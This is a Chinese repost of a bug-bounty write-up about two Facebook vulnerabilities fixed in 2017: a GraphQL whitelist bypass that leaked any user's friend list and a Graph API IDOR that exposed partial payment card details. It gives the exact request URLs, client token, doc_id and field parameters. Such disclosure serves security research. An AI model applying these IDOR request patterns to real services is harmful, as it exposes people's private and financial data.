Facebook有一个GraphQL endpoint,只能由Facebook的某些应用程序使用。需要用户(或页面)access_token来查询GraphQL endpoint。

这里可以将Facebook用在Android应用程序的客户端令牌去尝试查询请求,endpoint返回的错误消息如下:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&q=me(){id}

Response:
...
"error_data": {
"debug_info": "Only whitelisted query IDs are allowed in logged out context"
},
...

错误显示仅允许被列入白名单的持久查询。之后运行一堆查询以查看是否有白名单。例如,查询“ FBActorNameQuery”:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&query_id=10154057467378380&query_params={"actorID":"100…."}

Response:
...
"error_data": {
"debug_info": "Only whitelisted query IDs are allowed in logged out context"
},
...

0x01 授权访问漏洞-遍历朋友列表

因为找不到列入白名单的查询字段,所以报错信息都是提示白名单错误。后来用doc_id作为查询ID来发送查询才没有返回错误,但只能返回公共数据。

虽然绕过了白名单,但是这个字段查询到的数据已经是公开内容。

但是这个漏洞可以绕过Facebook自带的隐私设置。字段名为“ CSPlaygroundGraphQLFriendsQuery ” 的查询会泄漏朋友列表。

请求和响应示例:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&doc_id=1914123128613545&variables={"user_id":"10000xxxxxxxx"}&method=post

响应内容:
...
"node": {
"friends": {
"edges": [
"node": {
"id": "12xxxxxxxxx",
"name": "Some One",
},
{
"node": {
"id": "15xxxxxxxxx",
"name": "Another One",
}
},
...

漏洞修复时间线

  • 2017年10月6日:报告了错误
  • 2017年10月12日:Facebook回应,漏洞已归类
  • 2017年10月14日:修复了好友列表泄漏
  • 2017年10月17日:修复了白名单绕过问题

0x02 使用Graph API的部分支付卡详细信息泄漏

Facebook的Graph API的这个越权查询允许使用名为payment_modules_options的字段查询任意用户的支付卡详细信息。

通过拦截Facebook的Android应用程序发出的注册和登录请求里发现了这个字段。

这是一个示例请求:

graph.facebook.com/v2.8/USER_ID?access_token=TOKEN
&fields=payment_modules_options.payment_type(payment_settings)

USER_ID是受害者的Facebook帐户的ID。

access_token:Burpsuite里的TOKEN值是攻击者从Facebook应用程序(例如Android应用程序)访问请求包里获取的。

如果没有有效的payment_type就没有办法进行查询,但是指定一个无效的付款类型,payment_type(asd)会返回所有可能是付款类型的列表。这是不安全的直接对象引用(IDOR)的教科书级别Bug示例。

使用攻击者帐户作为受害者的请求和响应的屏幕截图:

返回的数据包括:

  • 前6个卡数字(BIN),标识发行卡的银行
  • 后4位数字
  • 到期月份和年份
  • 卡的种类
  • 持卡人名字
  • 邮政编码和国家

漏洞修复时间线

  • 2017年2月23日,21: 11-报告了错误
  • 2017年2月23日,21:50-Facebook的第一反应,正在调查该报告
  • 2017年2月23日,23:25-正在部署修订
  • 2017年2月24日,01:24-错误现已修复

0x03 编译

https://www.josipfranjkovic.com/blog/facebook-friendlist-paymentcard-leak

GraphQL漏洞案例之获取Facebook任意用户的朋友列表和部分支付卡详细信息的更多相关文章

  1. 微信小程序案例:获取微信访问用户的openid

    在微信开发项目中,获取openid是项目常遇的问题,本文通过主要讲解实现在微信小程序中如何获取用户的openid,案例实现非常简单 具体实现方法是通过登录接口获取登录凭证,然后通过request请求微 ...

  2. 通达OA任意用户登录 漏洞复现

    0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...

  3. WEB安全系列之如何挖掘任意用户登录漏洞

    WEB安全系列之如何挖掘任意用户登录漏洞 0x01  前言        每周两篇文章打卡.坏蛋100块钱都不给我,好坏好坏的. 0x02  什么是任意用户登录漏洞   几乎每个网站都有自己的会员系统 ...

  4. 【漏洞分析】dedecms有前提前台任意用户密码修改

     0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...

  5. 通达OA任意用户登录漏洞复现

    前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...

  6. 通达OA 前台任意用户登录漏洞复现

    漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...

  7. [典型漏洞分享]YS忘记密码机制设计存在缺陷,导致任意用户口令均可被修改【高】

    记录了安全测试过程中发现的一些典型的安全问题 YS忘记密码机制存在缺陷,可导致任意用户口令被修改[高] 问题描述: YS网站提供用户密码修改功能,当用户忘记密码时可通过该功能找回密码,但该修改密码的流 ...

  8. [转帖]挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息

    挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息 https://www.freebuf.com/vuls/202820.html 知识就是力量 5000刀的一个漏洞. ...

  9. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

随机推荐

  1. 使用 application.properties 中配置的属性,举例:@Value("${server.port}")

    使用 application.properties 中配置的属性:@Value 注解. @RestController public class HelloWorldController { @Val ...

  2. hive中的日期转换函数

    1.unix时间戳转时间函数   语法: from_unixtime(bigintunixtime[, string format]) 返回值: string   说明: 转化UNIX时间戳(从197 ...

  3. 【坑】js语法中一些小细节 不注意也出坑 随笔记下 留待后查

    1.switch case内 区分数字 与 字符 ',bl; switch(+lv){ :bl = 1.7;break; :bl = 1.55;break; :bl = 1.4;break; ; } ...

  4. docker for windows pull镜像文件的安装位置

    结论: 所有放入镜像文件都放在虚拟硬盘文件里面. windows上安装的docker其实本质上还是借助与windows平台的hyper-v技术来创建一个linux虚拟机,你执行的所有命令其实都是在这个 ...

  5. POJ3259-Wormholes-( spfa || Bellman_Ford )

    题意:有n块田,之间有m条无向边表示路径,权值表示走过需要花费的时间.有w对虫洞,虫洞是单向的,表示穿越一定时间到过去,并且回到虫洞指向的点,问一个人有没有可能通过虫洞回到某个起点,并且在从这个起点出 ...

  6. JavaScript基础11——ES5和ES6

    ES5↓↓↓ bind方法/this关键字     bind()方法会创建一个新函数,称为绑定函数,当调用这个绑定函数时,绑定函数会以创建它时传入bind()方法的第一个参数作为this,传入 bin ...

  7. Python列表生成式练习

    ''' 如果list中既包含字符串,又包含整数,由于非字符串类型没有lower()方法,所以列表生成式会报错 使用内建的isinstance函数可以判断一个变量是不是字符串: 返回True 或 Fal ...

  8. MongoDB 查看集合与索引状态命令

    1.查看集合状态命令 MongoDB Enterprise > db.trs_action_dzwl_zm.stats() 2.查看索引状态命令 MongoDB Enterprise > ...

  9. Presto Infrastructure at Lyft

    转载一篇关于 lyft presto 平台建设的实践 Overview Early in 2017 we started exploring Presto for OLAP use cases and ...

  10. 【题解】洛谷 P1080 国王游戏

    目录 题目 思路 \(Code\) 题目 P1080 国王游戏 思路 贪心+高精度.按\(a \times b\)从小到大排序就可以了. \(Code\) #include<bits/stdc+ ...